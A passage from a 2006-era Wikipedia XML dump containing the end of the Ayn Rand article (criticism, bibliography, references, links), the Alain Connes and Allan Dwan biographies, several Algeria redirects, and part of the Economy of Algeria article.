Other critics argue that Rand’s idealistic philosophy and her [[Romantic]] literary style are not applicable to the inhabited world. In particular, these critics claim that Rand's novels are made up of unrealistic and one-dimensional characters. They criticize the portrayal of the Objectivist heroes as incredibly intelligent, unencumbered by doubt, wealthy, and free of flaws, in contrast to the frequent portrayal of the antagonists as weak, pathetic, full of uncertainty, and lacking in imagination and talent.

Defenders of Rand point out counterexamples to these criticisms: neither Eddie Willers nor Cherryl Taggart (both positive characters) is especially gifted or intelligent, but both are characters of dignity and respect; Leo Kovalensky suffers enormously due to his inability to cope with the brutality and banality of communism; Andrei Taganov dies after realizing his philosophical errors; Dominique Francon is initially bitterly unhappy because she believes evil is powerful; Hank Rearden is torn by inner emotional conflict brought on by a philosophical contradiction; and Dagny Taggart thinks that she alone is capable of saving the world. Two of her main protagonists, Howard Roark and John Galt, did not begin life wealthy. Though Rand believed that, under capitalism, valuable contributions will routinely be rewarded by wealth, she certainly did not think that wealth made a person virtuous. In fact, she presents many vicious bureaucrats and waspish elitists who use [[statism]] to accumulate money and power. Moreover, Hank Rearden is exploited because of his social naïveté. As for the purportedly weak and pathetic villains, Rand's defenders point out that Ellsworth Toohey is represented as being a great strategist and communicator from an early age, and Dr. Robert Stadler is a brilliant scientist.

Rand herself replied to these literary criticisms (and in advance of much of them) with her essay &quot;The Goal of My Writing&quot; (1963). There, and in other essays collected in her book ''[[The Romantic Manifesto|The Romantic Manifesto: A Philosophy of Literature]]'' (2nd rev. ed. 1975), Rand makes it clear that her goal is to project her vision of an ideal man: not man as he is, but man as he might and ought to be.

Rand's views on sex have also led to some controversy.  According to her, &quot;For a woman ''qua'' woman, the essence of femininity is hero-worship – the desire to look up to man.&quot; (1968)  Some in the [[BDSM]] community see her work as relevant and supportive, particularly  ''The Fountainhead'' [http://www.mistressmorgana.com/site04/read_rec.html].

Another source of controversy is Rand's view that homosexuality is &quot;immoral&quot; and &quot;disgusting&quot; [http://www.nyu.edu/projects/sciabarra/essays/homo/atlasphere.htm], as well as her support for the right of businesses to discriminate on the basis of homosexuality, such as in their hiring practices.  Specifically, she stated that &quot;there is a psychological immorality at the root of homosexuality&quot; because &quot;it involves psychological flaws, corruptions, errors, or unfortunate premises&quot;.  

On the topic of non-governmental discrimination, Rand's defenders argue that her support for its legality was motivated by holding property rights above civil or human rights (as she did not believe that human rights were distinct from property rights) so it did not constitute an endorsement of the morality of the prejudice itself. In support of this, they cite Rand's opposition to some prejudices &amp;mdash; though not homophobia &amp;mdash; on moral grounds, in essays like 'Racism' and 'Global Balkanization', while still arguing for the right of individuals and businesses to act on such prejudice without government intervention. [http://forum.objectivismonline.net/lofiversion/index.php/t2277.html].

==Bibliography==
===Fiction===
* ''[[Night of January 16th]]'' (1934)
* ''[[We The Living]]'' (1936)
* ''[[Anthem (novel)|Anthem]]'' (1938)
* ''[[The Fountainhead]]'' (1943)
* ''[[Atlas Shrugged]]'' (1957)

====Posthumous fiction====
* ''Three Plays'' (2005)

===Nonfiction===
* ''For the New Intellectual'' (1961)
* ''The Virtue of Selfishness'' (with [[Nathaniel Branden]]) ([[1964]])
* ''[[Capitalism: The Unknown Ideal]]'' (with [[Nathaniel Branden]], [[Alan Greenspan]], and [[Robert Hessen]]) ([[1966]])
* ''[[Introduction to Objectivist Epistemology]]'' (1967)
* ''[[The Romantic Manifesto]]'' (1969)
* ''The New Left: The Anti-Industrial Revolution'' (1971)
* ''Philosophy: Who Needs It'' (1982)

====Posthumous nonfiction====
* ''[[The Early Ayn Rand]]'' (edited and with commentary by [[Leonard Peikoff]]) ([[1984]])
* ''The Voice of Reason: Essays in Objectivist Thought'' (edited by [[Leonard Peikoff]]; additional essays by [[Leonard Peikoff]] and [[Peter Schwartz]]) ([[1989]])
* ''[[Introduction to Objectivist Epistemology]]'' second edition (edited by [[Harry Binswanger]]; additional material by [[Leonard Peikoff]]) ([[1990]])
* ''Letters of Ayn Rand'' (edited by [[Michael S. Berliner]]) ([[1995]])
* ''Journals of Ayn Rand'' (edited by [[David Harriman]]) ([[1997]])
* ''Ayn Rand's Marginalia : Her Critical Comments on the Writings of over Twenty Authors'' (edited by [[Robert Mayhew]]) ([[1998]])
* ''The Ayn Rand Column: Written for the Los Angeles Times'' (edited by [[Peter Schwartz]]) ([[1998]])
* ''Russian Writings on Hollywood'' (edited by [[Michael S. Berliner]]) ([[1999]])
* ''Return of the Primitive: The Anti-Industrial Revolution'' (expanded edition of ''The New Left''; edited and with additional essays by [[Peter Schwartz]]) ([[1999]])
* ''The Art of Fiction'' (edited by [[Tore Boeckmann]]) ([[2000]])
* ''The Art of Nonfiction'' (edited by [[Robert Mayhew]]) ([[2001]])
* ''The Objectivism Research CD-ROM'' (collection of most of Rand's works in CD-ROM format) (2001)
* ''Ayn Rand Answers'' (2005)

==References==
In addition to Rand's own works (listed above), the following references discuss Rand's life and/or literary work. References that discuss her philosophy can be found in the [[bibliography of work on Objectivism]].
&lt;div style=&quot;font-size: 90%&quot;&gt;
* {{cite book
 | last = Baker | first = James T.
 | authorlink = James T. Baker
 | title = Ayn Rand
 | publisher = Twayne
 | location = Boston
 | year = 1987
 | id = ISBN 0-8057-7497-1
 }}
* {{cite book
 | last = Branden | first = Barbara
 | authorlink = Barbara Branden
 | title = The Passion of Ayn Rand
 | publisher = Doubleday &amp;amp; Company
 | location = Garden City, New York
 | year = 1986
 | id = ISBN 0-385-19171-5
 }}
* {{cite book
 | last = Branden | first = Nathaniel
 | authorlink = Nathaniel Branden
 | title = My Years with Ayn Rand
 | publisher = Jossey Bass
 | location = San Francisco
 | year = 1998
 | id = ISBN 0-7879-4513-7
 }}
* {{cite book
 | last = Branden | first = Nathaniel
 | authorlink = Nathaniel Branden
 | coauthors = [[Barbara Branden]]
 | title = Who Is Ayn Rand?
 | publisher = Random House
 | location = New York
 | year = 1962
 }}
* {{cite book
 | last = Britting | first = Jeff
 | authorlink = Jeff Britting
 | title = Ayn Rand
 | publisher = Overlook Duckworth
 | location = New York
 | year = 2005
 | id = ISBN 1-58567-406-0
 }}
* {{cite book
 | last = Gladstein | first = Mimi Reisel
 | authorlink = Mimi Reisel Gladstein
 | title = The New Ayn Rand Companion
 | publisher = Greenwood Press
 | location = Westport, Connecticut
 | year = 1999
 | id = ISBN 0-313-30321-5
 }}
* {{cite book
 | author = [[Mimi Reisel Gladstein|Gladstein, Mimi Reisel]] and [[Chris Matthew Sciabarra|Sciabarra, Chris Matthew]] (editors)
 | title = Feminist Interpretations of Ayn Rand
 | publisher = The Pennsylvania State University Press
 | location = University Park, Pennsylvania
 | year = 1999
 | id = ISBN 0-271-01830-5
 }}
* {{cite book
 | last = Hamel | first = Virginia L.L.
 | authorlink = Virginia L.L. Hamel
 | title = In Defense of Ayn Rand
 | publisher = New Beacon
 | location = Brookline, Massachusetts
 | year = 1990
 }}
* {{cite book
 | last = Mayhew | first = Robert
 | authorlink = Robert Mayhew
 | title = Ayn Rand and Song of Russia
 | publisher = Rowman &amp;amp; Littlefield
 | location = Lanham, Maryland
 | year = 2004
 | id = ISBN 0-8108-5276-4
 }}
* {{cite book
 | last = Mayhew | first = Robert
 | authorlink = Robert Mayhew
 | title = Essays on Ayn Rand's Anthem
 | publisher = Rowman &amp;amp; Littlefield
 | location = Lanham, Maryland
 | year = 2005
 | id = ISBN 0-7391-1031-4
 }}
* {{cite book
 | last = Mayhew | first = Robert
 | authorlink = Robert Mayhew
 | title = Essays on Ayn Rand's We the Living
 | publisher = Rowman &amp;amp; Littlefield
 | location = Lanham, Maryland
 | year = 2004
 | id = ISBN 0-7391-0698-8
 }}
* {{cite book
 | last = Paxton | first = Michael
 | authorlink = Michael Paxton
 | title = Ayn Rand: A Sense of Life  (The Companion Book)
 | publisher = Gibbs Smith
 | location = Layton, Utah
 | year = 1998
 | id = ISBN 0-87905-845-5
 }}
* {{cite journal
 | last = Peikoff | first = Leonard
 | authorlink = Leonard Peikoff 
 | title = My Thirty Years with Ayn Rand: An Intellectual Memoir
 | journal = The Objectivist Forum
 | volume = 8
 | issue = 3
 | year = 1987
 | pages = 1–16
 }}
* {{cite book
 | last = Rothbard | first = Murray N.
 | authorlink = Murray N. Rothbard
 | title = The Sociology of the Ayn Rand Cult
 | url = http://www.lewrockwell.com/rothbard/rothbard23.html
 | publisher = Liberty
 | location = Port Townsend, Washington
 | year = 1987
 }}
* {{cite book
 | last = Sures | first = Mary Ann
 | authorlink = Mary Ann Sures
 | coauthors = [[Charles Sures]]
 | title = Facets of Ayn Rand
 | publisher = Ayn Rand Institute Press 
 | location = Los Angeles
 | year = 2001
 | id = ISBN 0-9625336-5-3
 }}
* {{cite book
 | last = Sciabarra | first = Chris Matthew
 | authorlink = Chris Matthew Sciabarra
 | title = Ayn Rand: The Russian Radical
 | location = University Park, Pennsylvania
 | publisher = The Pennsylvania State University Press
 | year = 1995
 | id = ISBN 0-271-01440-7
 }}
* {{cite journal
 | last = Sciabarra | first = Chris Matthew
 | authorlink = Chris Matthew Sciabarra
 | title = The Rand Transcript
 | url = http://www.nyu.edu/projects/sciabarra/essays/randt2.htm
 | journal = The Journal of Ayn Rand Studies
 | volume = 1
 | issue = 1
 | year = 1999
 | pages = 1–26
 }}
* {{cite journal
 | last = Shermer | first = Michael
 | authorlink = Michael Shermer
 | url = http://www.2think.org/02_2_she.shtml
 | title = The Unlikeliest Cult In History
 | journal = Skeptic
 | volume = 2
 | issue = 2
 | year = 1993
 | pages = 74–81
 }}
* {{cite book
 | author = [[William Thomas|Thomas, William]] (editor)
 | title = The Literary Art of Ayn Rand
 | location =  Poughkeepsie, New York
 | publisher = The Objectivist Center
 | year = 2005
 | id = ISBN 1-577240-70-7
 }}
* {{cite book
 | last = Tuccile | first = Jerome
 | authorlink = Jerome Tuccille
 | title = It Usually Begins with Ayn Rand
 | location = New York
 | publisher = Fox &amp; Wilkes
 | year = 1997
 | id = ISBN 0930073258
 }}
* {{cite book
 | last = Valliant | first = James S.
 | authorlink = James S. Valliant
 | title = The Passion of Ayn Rand's Critics
 | location = Dallas
 | publisher = Durban House
 | year = 2005
 | id = ISBN 1-930654-67-1
 }}
* {{cite book
 | last = Walker | first = Jeff
 | authorlink = Jeff Walker
 | title = The Ayn Rand Cult
 | location = Chicago
 | publisher = Open Court
 | year = 1999
 | id = ISBN 0-8126-9390-6
 }}
&lt;/div&gt;

==External links==
{{Philosophy portal}}
{{sisterlinks|Ayn Rand}}

'''General information'''
* [http://www.noblesoul.com/orc/bio/biofaq.html Ayn Rand FAQ]   
* [http://www.aynrand.org/site/PageServer?pagename=about_ayn_rand_faq_index2 Frequently Asked Questions on Ayn Rand]
* [http://www.utm.edu/research/iep/r/rand.htm &quot;Ayn Rand&quot; entry from the Internet Encyclopedia of Philosophy]

'''Organizations promoting Ayn Rand's philosophy'''
* [http://www.aynrand.org/ The Ayn Rand Institute]
* [http://www.ariwatch.com/ ARI Watch] &amp;mdash; Argues that some positions of the Ayn Rand Institute differ from those of Ayn Rand. &lt;!-- Note that this link is routinely removed as an act of vandalism. It will be routinely reverted, until the vandals give up. If you disagree, take it to Talk. --&gt;
* [http://www.objectivistcenter.org/ The Objectivist Center]
* [http://www.capitalismcenter.org/ The Center for the Advancement of Capitalism]

'''Articles'''
* [http://www.lrb.co.uk/v27/n23/turn03_.html ''As Astonishing as Elvis'' by Jenny Turner] &amp;mdash; Essay review of ''Ayn Rand'' by Jeff Britting 
* [http://www.starshipaurora.com/aynrand100.html Ayn Rand 100 Tribute] &amp;mdash; includes reference to a tribute album, &quot;Concerto of Deliverance&quot;, inspired by Rand's words describing such music.
* [http://chronicle.com/colloquy/99/rand/background.htm ''Ayn Rand Has Finally Caught the Attention of Scholars''] by Jeff Sharlet
* [http://www.jeffcomp.com/faq/index.html FAQ - What's REALLY Wrong With Objectivism?]
* [http://www.mclemee.com/id39.html ''The Heirs of Ayn Rand'' by Scott McLemee] &amp;mdash; An article published in [[Lingua Franca]] which covers the arc of her publishing career, while alive and posthomous, as well as the continuing scholarship.
* [http://www.americanwriters.org/writers/rand.asp Rand featured on C-Span's &quot;American Writers&quot;] &amp;mdash; RealVideo discussions on Rand's writing

'''Articles critical of Ayn Rand'''
* [http://world.std.com/~mhuben/critobj.html  Criticisms of Objectivism (or Ayn Rand)] &amp;mdash; from of the Critiques of Libertarianism site
* [http://www.noblesoul.com/orc/critics/ Criticisms of Objectivism] &amp;mdash; from the Objectivism Reference Center site
* [http://www.johannhari.com/archive/article.php?id=756 &quot;Don't give to tsunami victims - the message of the American right's philosopher-queen&quot;] &amp;mdash; A critical profile from the London Independent
* [http://www.lewrockwell.com/rothbard/rothbard23.html ''The Sociology of the Ayn Rand Cult'' by Murray Rothbard] &amp;mdash; written in 1972, this was the first piece of Rand revisionism from the [[libertarian]] standpoint. 
* [http://www.2think.org/02_2_she.shtml &quot;The Unlikeliest Cult in History&quot; by Michael Shermer]
{{see also|Bibliography of work on Objectivism}}

'''Rand's associates'''
* [http://www.barbarabranden.com/ Barbara Branden's website]
* [http://www.nathanielbranden.com/ Nathaniel Branden's website]
* [http://www.leonardpeikoff.com/ Leonard Peikoff's website]

'''Online groups and blogs'''
* [http://www.theatlasphere.com/ The Atlasphere] &amp;mdash; For admirers of Rand's novels, includes member directory, dating service, columns, and news
* [http://www.theaynrandforum.com The Ayn Rand Forum] &amp;mdash; Online forum for discussion of Ayn Rand and Objectivism.
* [http://community.livejournal.com/aynrandforum Ayn Rand LiveJournal Community] &amp;mdash; A large LiveJournal Community for Ayn Rand.
* [http://www.capmag.com/shownews.asp Dollars &amp; Crosses] &amp;mdash; Commentary from a pro-capitalist perspective.
* [http://www.DrHurd.com/ Dr. Michael J. Hurd, psychologist] &amp;mdash; The Daily Dose of Reason: psychology, life coaching and comments on cultural/political topics from an Objectivist perspective &amp;mdash; also, The Living Resources Newsletter and Dr. Hurd's publications
* [http://forums.4aynrandfans.com The Forum for Ayn Rand Fans]
* [http://www.hblist.com Harry Binswanger List] &amp;mdash; E-mail-based discussion group
* [http://www.aynrandstudies.com The Journal of Ayn Rand Studies] &amp;mdash; Contains abstracts of articles, author bios, links to several articles, and submission guidelines.
* [http://www.objectivism.net Objectivism.net] &amp;mdash; Ayn Rand on CD-ROM, and links
* [http://www.objectivismonline.net/ ObjectivismOnline.Net] &amp;mdash; Contains [http://forum.objectivismonline.net/ forums], blogs, essays, chat room, and a [http://wiki.objectivismonline.net wiki on Objectivism]
* [http://www.objectivistblogs.com Objectivist Blogs] &amp;mdash; A list of Rand-influenced bloggers
* [http://randex.org/ Randex] &amp;mdash; Index of online media references to Ayn Rand and Objectivism
* [http://www.solopassion.com Sense of Life Objectivists] &amp;mdash; Online columns and discussion, by and for Objectivists - hosted by Lindsay Perigo
* [http://www.TIADaily.com/ TIA Daily] &amp;mdash; Daily news and commentary from the Objectivist perspective by e-mail

'''Imagery'''
* [http://www.yoyita.com/Ayn_Rand.html Portrait of Ayn Rand]

'''Rand's writing and speeches'''
* [http://www.noblesoul.com/orc/texts/anthem/complete.html ''Anthem''] &amp;mdash; The complete text of the novel, which has fallen into the public domain
* [http://www.ayn-rand.com/ayn-rand-atlas-shrugged.asp ''Atlas Shrugged'' ] &amp;mdash; Book outline
* [http://www.ayn-rand.com/ayn-rand-fountainhead.asp ''The Fountainhead''] &amp;mdash; Book outline
* [http://www.ayn-rand.com/ayn-rand-we-the-living.asp ''We The Living''] &amp;mdash; Book outline
* [http://www.tracyfineart.com/usmc/philosophy_who_needs_it.htm &quot;Philosophy: Who Needs It?&quot;] &amp;mdash; Address To The Graduating Class Of The United States Military Academy at West Point, New York - March 6, 1974
* [http://www.noblesoul.com/orc/texts/huac.html Rand's HUAC testimony] &amp;mdash; Transcript
* [http://www.libertyhaven.org/bookstore/B00004LC7UAMUS169912.shtml ''We the Living''] &amp;mdash; Video outline
* {{gutenberg author| id=Ayn+Rand | name=Ayn Rand}}
* [http://lcweb2.loc.gov/cgi-bin/faidfrquery/r?faid/faidfr:@field(SOURCE+@band(rand+ayn)) Rand's papers at The Library of Congress]

[[Category:1905 births|Rand, Ayn]]
[[Category:1982 deaths|Rand, Ayn]]
[[Category:20th century philosophers|Rand, Ayn]]
[[Category:American literary critics|Rand, Ayn]]
[[Category:American novelists|Rand, Ayn]]
[[Category:American philosophers|Rand, Ayn]]
[[Category:Anti-communism|Rand, Ayn]]
[[Category:Anti-Vietnam War|Rand, Ayn]]
[[Category:Aristotelian philosophers|Rand, Ayn]]
[[Category:Atheists|Rand, Ayn]]
[[Category:Atheist philosophers|Rand, Ayn]]
[[Category:Atheist thinkers and activists|Rand, Ayn]]
[[Category:Cat lovers|Rand, Ayn]]
[[Category:Epistemologists|Rand, Ayn]]
[[Category:Jewish American writers|Rand, Ayn]]
[[Category:Minarchists|Rand, Ayn]]
[[Category:Moral philosophers|Rand, Ayn]]
[[Category:Natives of Saint Petersburg|Rand, Ayn]]
[[Category:Naturalized citizens of the United States|Rand, Ayn]]
[[Category:Novelists|Rand, Ayn]]
[[Category:Objectivists|Rand, Ayn]]
[[Category:Philosophers|Rand, Ayn]]
[[Category:Political philosophers|Rand, Ayn]]
[[Category:Political writers|Rand, Ayn]]
[[Category:Pro-choice celebrities|Rand, Ayn]]
[[Category:Women writers|Rand, Ayn]]

[[cs:Ayn Randová]]
[[da:Ayn Rand]]
[[de:Ayn Rand]]
[[es:Ayn Rand]]
[[fi:Ayn Rand]]
[[fr:Ayn Rand]]
[[he:איין ראנד]]
[[hu:Ayn Rand]]
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[[ja:アイン・ランド]]
[[nl:Ayn Rand]]
[[nn:Ayn Rand]]
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[[sv:Ayn Rand]]
[[zh:艾茵·兰德]]</text>
    </revision>
  </page>
  <page>
    <title>Alain Connes</title>
    <id>340</id>
    <revision>
      <id>41123331</id>
      <timestamp>2006-02-25T04:54:20Z</timestamp>
      <contributor>
        <ip>221.226.98.5</ip>
      </contributor>
      <text xml:space="preserve">'''Alain Connes''' (born [[April 1]], [[1947]]) is a [[France|French]] [[mathematician]], currently Professor at the [[College de France]] ([[Paris]], [[France]]), [[IHES]] ([[Bures-sur-Yvette]], [[France]]) and [[Vanderbilt University]] ([[Nashville]], [[Tennessee]]). He is a specialist of [[Von Neumann algebra]]s and succeeded in completing the classification of [[factor]]s of these objects. Although his work in physics was not very convincing he tried to connect the planckian scales with what he called a &quot;2-brane&quot; Universe, model which was largely rejected by string theorists so far.

The remarkable links between this subject, the tools he and others devised to tackle the problem and other subjects in [[theoretical physics]], [[particle physics]], and [[differential geometry]], made him emphasize [[Noncommutative geometry]] (which is also the title of his major book to date).

He was awarded the [[Fields Medal]] in [[1982]], the [[Crafoord Prize]] in [[2001]] and the gold medal of the [[CNRS]] in 2004.

==See also==
* [[cyclic homology]]
* [[factor (functional analysis)]]
* [[Higgs boson]]
* [[C*-algebra]]
* [[M Theory]]
* [[Groupoid]]
* [[Jean Louis Loday]]

==External links==

* [http://www.alainconnes.org/ Alain Connes Official Web Site]
* {{MacTutor Biography|id=Connes}}


{{Fields medalists}}


[[Category:1947 births|Connes, Alain]]
[[Category:Living people|Connes, Alain]]
[[Category:French mathematicians|Connes, Alain]]
[[Category:Alumni of the École Normale Supérieure|Connes, Alain]]
[[Category:Members and associates of the US National Academy of Sciences|Connes, Alain]]

[[ar:ألان كن]]
[[de:Alain Connes]]
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[[fr:Alain Connes]]
[[ja:アラン・コンヌ]]
[[ko:알랭 콘느]]
[[pl:Alain Connes]]
[[zh:阿兰·孔]]</text>
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  </page>
  <page>
    <title>Applied Statistics</title>
    <id>341</id>
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      <id>15899076</id>
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      <text xml:space="preserve">#REDIRECT [[Applied statistics]]
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    <title>Arithmetic Mean</title>
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      <text xml:space="preserve">#REDIRECT [[Arithmetic mean]]
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  <page>
    <title>Allan Dwan</title>
    <id>344</id>
    <revision>
      <id>40346482</id>
      <timestamp>2006-02-19T23:33:42Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
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      <minor />
      <text xml:space="preserve">'''Allan Dwan''' ([[April 3]], [[1885 in film|1885]] &amp;ndash; [[December 21]], [[1981 in film|1981]]) was a pioneering [[Canada|Canadian]]-born American [[film|motion picture]] [[film director|director]], producer and screenwriter.

Born '''Joseph Aloysius Dwan''' in [[Toronto, Ontario]], [[Canada]], his family moved to the [[United States]] when he was eleven years of age. At university, he trained as an engineer and began working for a lighting company in [[Chicago, Illinois]]. However, he had  a strong interest in the fledgling motion picture industry and when [[Essanay Studios]] offered him the opportunity to become a scriptwriter, he took the job. At that time, some of the [[East Coast of the United States|East Coast]] movie makers began to spend winters in [[California]] where the climate allowed them to continue productions requiring warm weather. Soon, a number of movie companies worked there year-round and, in [[1911]], Dwan began working part time in [[Hollywood, California|Hollywood]]. While still in New York, in [[1917 in film|1917]] he was the founding president of the East Coast chapter of the [[Motion Picture Directors Association]].

Allan Dwan became a true innovator in the motion picture industry. After making a series of westerns and comedies,  he directed fellow Canadian, [[Mary Pickford]] in several very successful movies as well as her husband, [[Douglas Fairbanks]], notably in the acclaimed [[1922 in film|1922]] ''[[Robin Hood]]''. 

Following the introduction of the [[sound film|talkies]], in [[1937 in film|1937]] he directed child-star [[Shirley Temple]] in ''[[Heidi]]'' and ''Rebecca of Sunnybrook Farm'' the following year.

Over his long and successful career spanning over fifty years, he directed over 400 motion pictures, many of them highly acclaimed, such as the [[1949 in film|1949]] box office smash, ''[[The Sands of Iwo Jima]]''. His last movie was in [[1961]]. 

Dwan is one of the directors who spanned the silent to sound era. Most of the silent movies he directed are lost due to poor preservation. Little historical writing has been devoted to Dwan, but some believe that he will be the last &quot;discovered&quot; great director from the [[Classic Hollywood Era]].

He died in Los Angeles at the age of ninety-six, and is interred in the [[San Fernando Mission Cemetery]], [[Mission Hills, California]]. 

Allan Dwan has a star on the [[Hollywood Walk of Fame]] at 6263 Hollywood Boulevard in [[Hollywood, California|Hollywood]].
 
==Selected films==
As director:
*''[[Manhattan Madness]]'' (1916)
*''[[Fairbanks Fine Arts]]'' (1916)
*''[[Fairbanks Fragments]]'' (1916-1918) also screenwriter    
*''[[Robin Hood (1922 film)|Robin Hood]]'' (1922)
*''The Iron Mask'' (1929)
*''[[Heidi]]'' (1937)
*''[[Rebecca of Sunnybrook Farm/The Little Colonel]]'' (1938)
*''Rebecca of Sunnybrook Farm'' (1938)
*''[[The Three Musketeers (film)|The Three Musketeers]]'' (1939)
*''The Gorilla'' (1939) 
*''[[Young People]]'' (1940)
*''[[Look Who's Laughing]]'' (1941) also producer 
*''[[Friendly Enemies]]'' (1942)
*''Around the World'' (1943) also producer
*''[[Up in Mabel's Room]]'' (1944)
*''[[Abroad With Two Yanks]]'' (1944)
*''[[Getting Gertie's Garter]]'' (1945) also screenwriter 
*''[[Brewster's Millions]]'' (1945)
*''Driftwood'' (1947)     
*''Calendar Girl'' (1947)
*''[[Northwest Outpost]]'' (1947) also associate producer 
*''[[Sands of Iwo Jima]]'' (1949)
*''[[Montana Belle]]'' (1952)
*''[[Silver Lode (1954 film)|Silver Lode]]'' (1954)
*''[[Passion (1954 movie)|Passion]]'' (1954)
*''[[Cattle Queen of Montana]]'' (1954)
*''[[Tennessee's Partner]]'' (1955)
*''[[Pearl of the South Pacific]]'' (1955)
*''[[Escape to Burma]]'' (1955)
*''[[Slightly Scarlet]]'' (1956)
*''[[The Restless Breed]]'' (1957)
*''[[Enchanted Island]]'' (1958)


See also: [[Canadian pioneers in early Hollywood]]

==External links==
*{{imdb name|id=0245385|name= Allan Dwan}}

[[Category:1885 births|Dwan, Allan]]
[[Category:1981 deaths|Dwan, Allan]]
[[Category:Roman Catholics|Dwan, Allan]]
[[Category:American film directors|Dwan, Allan]]
[[Category:American film producers|Dwan, Allan]]
[[Category:American screenwriters|Dwan, Allan]]
[[Category:Hollywood Walk of Fame|Dwan, Allan]]
[[Category:Ontario writers|Dwan, Allan]]
[[Category:Torontonians|Dwan, Allan]]

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    <revision>
      <id>15899079</id>
      <timestamp>2004-03-15T17:30:39Z</timestamp>
      <contributor>
        <username>Anthony DiPierro</username>
        <id>34793</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[History of Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/Geography</title>
    <id>346</id>
    <revision>
      <id>15899080</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>128.227.230.147</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/People</title>
    <id>347</id>
    <revision>
      <id>15899081</id>
      <timestamp>2002-08-20T15:34:45Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/Government</title>
    <id>348</id>
    <revision>
      <id>15899082</id>
      <timestamp>2002-08-22T22:05:03Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <comment>more removals</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Algeria</title>
    <id>349</id>
    <revision>
      <id>40484200</id>
      <timestamp>2006-02-20T22:28:44Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{update}}
{{cleanup-date|December 2005}}
{{Economy of Algeria table}}
In the '''economy of Algeria''' the [[hydrocarbons]] sector is the backbone, accounting for roughly 52% of budget revenues, 25% of [[Gross domestic product|GDP]], and over 95% of export earnings. [[Algeria]] has the fifth-largest reserves of [[natural gas]] in the world and is the second largest gas exporter; it ranks fourteenth for oil reserves. Algiers' efforts to reform one of the most centrally planned economies in the Arab world stalled in [[1992]] as the country became embroiled in political turmoil.

Burdened with a heavy foreign debt, Algiers concluded a one-year standby arrangement with the [[International Monetary Fund]] in April [[1994]] and the following year signed onto a three-year extended fund facility which ended [[30 April]], [[1998]]. Some progress on economic reform, [[Paris Club]] [[debt rescheduling]]s in [[1995]] and [[1996]], and oil and gas sector expansion contributed to a recovery in growth since 1995, reducing inflation to approximately 1% and narrowing the budget deficit. Algeria's economy has grown at about 4% annually since [[1999]]. The country's foreign debt has fallen from a high of $28 billion in [[1999]] to its current level of $24 billion. The spike in oil prices in [[1999]]-[[2000]] and the government's tight fiscal policy, as well as a large increase in the trade surplus and the near tripling of foreign exchange reserves has helped the country's finances. However, an ongoing drought, the after effects of the [[November 10]], [[2001]] floods and an uncertain oil market make prospects for [[2002]]-[[2003|03]] more problematic. The government pledges to continue its efforts to diversify the economy by attracting foreign and domestic investment outside the energy sector. However, it has thus far had little success in reducing high unemployment, officially estimated at 30% and improving living standards.

[[President Bouteflika]] has announced sweeping economic reforms, which, if implemented, will significantly restructure the economy. Still, the economy remains heavily dependent on volatile oil and gas revenues. The government has continued efforts to diversify the economy by attracting foreign and domestic investment outside the energy sector, but has had little success in reducing high unemployment and improving living standards.  Other priority areas include banking reform, improving the investment environment, and reducing government bureaucracy.

The government has announced plans to sell off state enterprises: sales of a national cement factory and steel plant have been completed and other industries are up for offer. In 2001, Algeria signed an Association Agreement with the [[European Union]]; it has started accession negotiations for entry into the [[World Trade Organization]]. 

===[[Agriculture]]===

Since Roman times Algeria has been noted for the fertility of its soil.  About a quarter of the inhabitants are engaged in agricultural pursuits.  More than 7,500,000 acres (30,000 km&amp;sup2;) are devoted to the cultivation of [[cereal grain]]s.  The Tell is the grain-growing land.  During the time of [[France|French]] rule its productivity was increased substantially by the sinking of [[Artesian aquifer|artesian well]]s in districts which only required water to make them fertile.  Of the crops raised, [[wheat]], [[barley]] and [[oat]]s are the principal cereals.  A great variety of [[vegetable]]s and of [[fruit]]s, especially [[citrus]] products, is exported.  

A considerable amount of [[cotton]] was grown at the time of the [[United States]]' [[American Civil War|Civil War]], but the industry declined afterwards.  In the early years of the 20th century efforts to extend the cultivation of the plant were renewed.  A small amount of [[cotton]] is also grown in the southern oases.  Large quantities of [[crin vegetal]] (vegetable horse-hair) an excellent fibre, are made from the leaves of the dwarf palm.  The [[olive]] (both for its fruit and [[Petroleum]]) and [[tobacco]] are cultivated with great success.

Algeria also exports [[fig]]s, [[date (fruit)|date]]s, [[esparto]] grass, and [[cork (material)|cork]].

====Wine Production====

Throughout Algeria the soil favours the growth of vines.  The country, in the words of an expert sent to report on the subject by the French government, 
:&quot;can produce an infinite variety of wines suitable to every constitution and to every caprice of taste.&quot; 

The growing of vines was undertaken early by the colonists, but it was not until vineyards in [[France]] were attacked by [[phylloxera]] that the export of [[wine]] from Algeria became significant.  In [[1883]], despite precautionary measures, Algerian [[vineyard]]s were also attacked but in the meantime the quality of their wines had been proved.  In 1850 less than 2000 acres (8 km&amp;sup2;) were devoted to the grape, but in 1878 this had increased to over 42,000 acres (170 km&amp;sup2;), which yielded 7,436,000 gallons (28,000 m&amp;sup3;) of wine.  Despite bad seasons and ravages of insects, cultivation extended, and in 1895 the vineyards covered 300,000 acres (1,200 km&amp;sup2;), the produce being 88,000,000 gallons (333,000 m&amp;sup3;).  The area of cultivation in 1905 exceeded 400,000 acres (1,600 km&amp;sup2;), and in that year the amount of wine produced was 157,000,000 gallons (594,000 m&amp;sup3;).  By that time the limits of profitable production had been reached in many parts of the country.  Practically the only foreign market for Algerian wine is France, which in 1905 imported about 110,000,000 gallons (416,000 m&amp;sup3;).

===Fishing===

Fishing is a flourishing but minor industry.  Fish caught are principally [[sardine]]s, [[bonito]], [[smelt]] and [[sprat]]s.  Fresh fish are exported to [[France]], dried and preserved fish to [[Spain]] and [[Italy]].  Coral [[fishery|fisheries]] are found along the coast from [[Bona]] to [[Tunis]].

===Minerals===

